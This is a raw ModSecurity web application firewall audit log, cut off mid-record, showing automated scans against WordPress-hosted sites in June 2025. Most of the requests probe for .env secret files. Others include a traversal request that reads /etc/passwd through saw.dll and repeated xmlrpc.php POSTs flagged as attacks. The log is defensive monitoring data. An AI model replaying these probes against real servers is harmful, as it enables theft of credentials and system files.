Accept-Encoding: gzip --5b408b24-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=98e29c21e223fe8712ee72f9d84f81251750014154; expires=Sun, 15 Jun 2025 20:02:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5b408b24-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/app/config/.env"] [unique_id "aE8Yypnj7pFxi-BGHz6o-QAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014154201364 654197 (- - -) Stopwatch2: 1750014154201364 654197; combined=1758, p1=396, p2=1265, p3=0, p4=0, p5=97, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5b408b24-Z-- --3c70ee5e-A-- [16/Jun/2025:00:32:37.911775 +0530] aE8YzVeqy5hRjKvJEAyYWgAAAAE 185.177.72.210 37274 127.0.0.1 7081 --3c70ee5e-B-- GET /ci/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3c70ee5e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4f20e6ed1acc2f51c4b3b91d77bc4c931750014157; expires=Sun, 15 Jun 2025 20:02:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3c70ee5e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/ci/.env"] [unique_id "aE8YzVeqy5hRjKvJEAyYWgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014157255692 656169 (- - -) Stopwatch2: 1750014157255692 656169; combined=1702, p1=358, p2=1233, p3=0, p4=0, p5=110, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3c70ee5e-Z-- --a41b210a-A-- [16/Jun/2025:00:33:01.014493 +0530] aE8Y5O5gkr5NYpwyzHHz-gAAAAg 185.177.72.210 38212 127.0.0.1 7081 --a41b210a-B-- GET /settings/.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a41b210a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2d541dfe972d7ffa181f9a1fd8d08eff1750014180; expires=Sun, 15 Jun 2025 20:03:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a41b210a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/settings/.env.example"] [unique_id "aE8Y5O5gkr5NYpwyzHHz-gAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014180364643 649911 (- - -) Stopwatch2: 1750014180364643 649911; combined=1953, p1=390, p2=1458, p3=0, p4=0, p5=104, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a41b210a-Z-- --23eb8f32-A-- [16/Jun/2025:00:33:03.033952 +0530] aE8Y5j3D4g1mGjVnV5KCMwAAAAY 185.177.72.210 38322 127.0.0.1 7081 --23eb8f32-B-- GET /:8888/app/configurationtionura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --23eb8f32-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e69d909eccf995c5e012a8053c3d37ff1750014182; expires=Sun, 15 Jun 2025 20:03:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --23eb8f32-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/app/configurationtionura/.env"] [unique_id "aE8Y5j3D4g1mGjVnV5KCMwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014182356765 677276 (- - -) Stopwatch2: 1750014182356765 677276; combined=1723, p1=371, p2=1231, p3=0, p4=0, p5=121, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --23eb8f32-Z-- --43136c06-A-- [16/Jun/2025:00:33:04.133540 +0530] aE8Y51eqy5hRjKvJEAyYZwAAAAE 185.177.72.210 38342 127.0.0.1 7081 --43136c06-B-- GET /analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --43136c06-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3064c70c2497362c23f8c5970e99ca151750014183; expires=Sun, 15 Jun 2025 20:03:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --43136c06-H-- Message: Warning. Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.mindscan.edu.in|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Matched phrase "etc/passwd" at ARGS:previewFilePath. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.mindscan.edu.in|F|2"] [data "Matched Data: etc/passwd found within ARGS:previewFilePath: /etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Message: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.mindscan.edu.in|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.mindscan.edu.in|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/analytics/saw.dll"] [unique_id "aE8Y51eqy5hRjKvJEAyYZwAAAAE"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:previewFilePath. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.mindscan.edu.in|F|2"] [data "Matched Data: etc/passwd found within ARGS:previewFilePath: /etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.mindscan.edu.in"] [uri "/analytics/saw.dll"] [unique_id "aE8Y51eqy5hRjKvJEAyYZwAAAAE"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/analytics/saw.dll"] [unique_id "aE8Y51eqy5hRjKvJEAyYZwAAAAE"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.mindscan.edu.in|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] [hostname "www.mindscan.edu.in"] [uri "/index.php"] [unique_id "aE8Y51eqy5hRjKvJEAyYZwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014183356381 777214 (- - -) Stopwatch2: 1750014183356381 777214; combined=2902, p1=330, p2=2357, p3=0, p4=0, p5=215, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --43136c06-Z-- --a422de09-A-- [16/Jun/2025:00:33:05.186301 +0530] aE8Y6D3D4g1mGjVnV5KCNAAAAAY 185.177.72.210 38388 127.0.0.1 7081 --a422de09-B-- GET /.env.sample.php HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a422de09-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4e2a1e0000517ad0ac49c7e310ab9e7d1750014185; expires=Sun, 15 Jun 2025 20:03:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a422de09-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.sample.php"] [unique_id "aE8Y6D3D4g1mGjVnV5KCNAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014184525906 660493 (- - -) Stopwatch2: 1750014184525906 660493; combined=1771, p1=396, p2=1274, p3=0, p4=0, p5=101, sr=112, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a422de09-Z-- --16d7a111-A-- [16/Jun/2025:00:33:13.081990 +0530] aE8Y8Feqy5hRjKvJEAyYbQAAAAE 185.177.72.210 55932 127.0.0.1 7081 --16d7a111-B-- GET /examples/react-dashboard/backend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --16d7a111-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f4f4906f78380c713fa3184bd87e8c981750014192; expires=Sun, 15 Jun 2025 20:03:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --16d7a111-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/react-dashboard/backend/.env"] [unique_id "aE8Y8Feqy5hRjKvJEAyYbQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014192418807 663248 (- - -) Stopwatch2: 1750014192418807 663248; combined=1912, p1=333, p2=1479, p3=0, p4=0, p5=99, sr=77, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --16d7a111-Z-- --9b44cd1d-A-- [16/Jun/2025:00:33:22.393782 +0530] aE8Y-S7MaF0j8lD2KTIT7AAAAAM 185.177.72.210 54548 127.0.0.1 7081 --9b44cd1d-B-- GET /:8888/.env.save HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9b44cd1d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=48c2efc50abaf7791d23fa4d07931ede1750014202; expires=Sun, 15 Jun 2025 20:03:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9b44cd1d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.save"] [unique_id "aE8Y-S7MaF0j8lD2KTIT7AAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014201688589 705258 (- - -) Stopwatch2: 1750014201688589 705258; combined=2710, p1=541, p2=2076, p3=0, p4=0, p5=93, sr=125, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9b44cd1d-Z-- --b054830a-A-- [16/Jun/2025:00:33:25.016938 +0530] aE8Y_CKD19h5xDtM-2wYQwAAAAo 128.199.112.101 54704 127.0.0.1 7081 --b054830a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b054830a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b054830a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8Y_CKD19h5xDtM-2wYQwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014204087532 929462 (- - -) Stopwatch2: 1750014204087532 929462; combined=2152, p1=353, p2=1342, p3=62, p4=63, p5=203, sr=96, sw=129, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b054830a-Z-- --fbf4270f-A-- [16/Jun/2025:00:34:25.353315 +0530] aE8ZOCKD19h5xDtM-2wYaAAAAAo 128.199.112.101 52546 127.0.0.1 7081 --fbf4270f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --fbf4270f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --fbf4270f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8ZOCKD19h5xDtM-2wYaAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014264399204 954189 (- - -) Stopwatch2: 1750014264399204 954189; combined=2476, p1=417, p2=1573, p3=52, p4=76, p5=222, sr=107, sw=136, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fbf4270f-Z-- --0579473a-A-- [16/Jun/2025:00:34:33.947138 +0530] aE8ZQS7MaF0j8lD2KTIUGAAAAAM 185.177.72.210 59260 127.0.0.1 7081 --0579473a-B-- GET /:9000/environments/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0579473a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bf9373050cdd52d4fa49025f86f940da1750014273; expires=Sun, 15 Jun 2025 20:04:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0579473a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/environments/.env"] [unique_id "aE8ZQS7MaF0j8lD2KTIUGAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014273293814 653399 (- - -) Stopwatch2: 1750014273293814 653399; combined=1735, p1=400, p2=1221, p3=0, p4=0, p5=114, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0579473a-Z-- --7a660573-A-- [16/Jun/2025:00:34:38.365240 +0530] aE8ZRXsalJN_0-_70dLrzQAAAAU 185.177.72.210 59458 127.0.0.1 7081 --7a660573-B-- GET /:8181/laravel/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7a660573-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1a16669b584d8c0db91101895a9d89c11750014278; expires=Sun, 15 Jun 2025 20:04:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7a660573-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/laravel/.env"] [unique_id "aE8ZRXsalJN_0-_70dLrzQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750014277694710 670619 (- - -) Stopwatch2: 1750014277694710 670619; combined=1953, p1=366, p2=1495, p3=0, p4=0, p5=91, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7a660573-Z-- --aad4ad52-A-- [16/Jun/2025:00:34:52.348568 +0530] aE8ZU1eqy5hRjKvJEAyYsAAAAAE 185.177.72.210 43770 127.0.0.1 7081 --aad4ad52-B-- GET /:5601/.env_bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --aad4ad52-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: 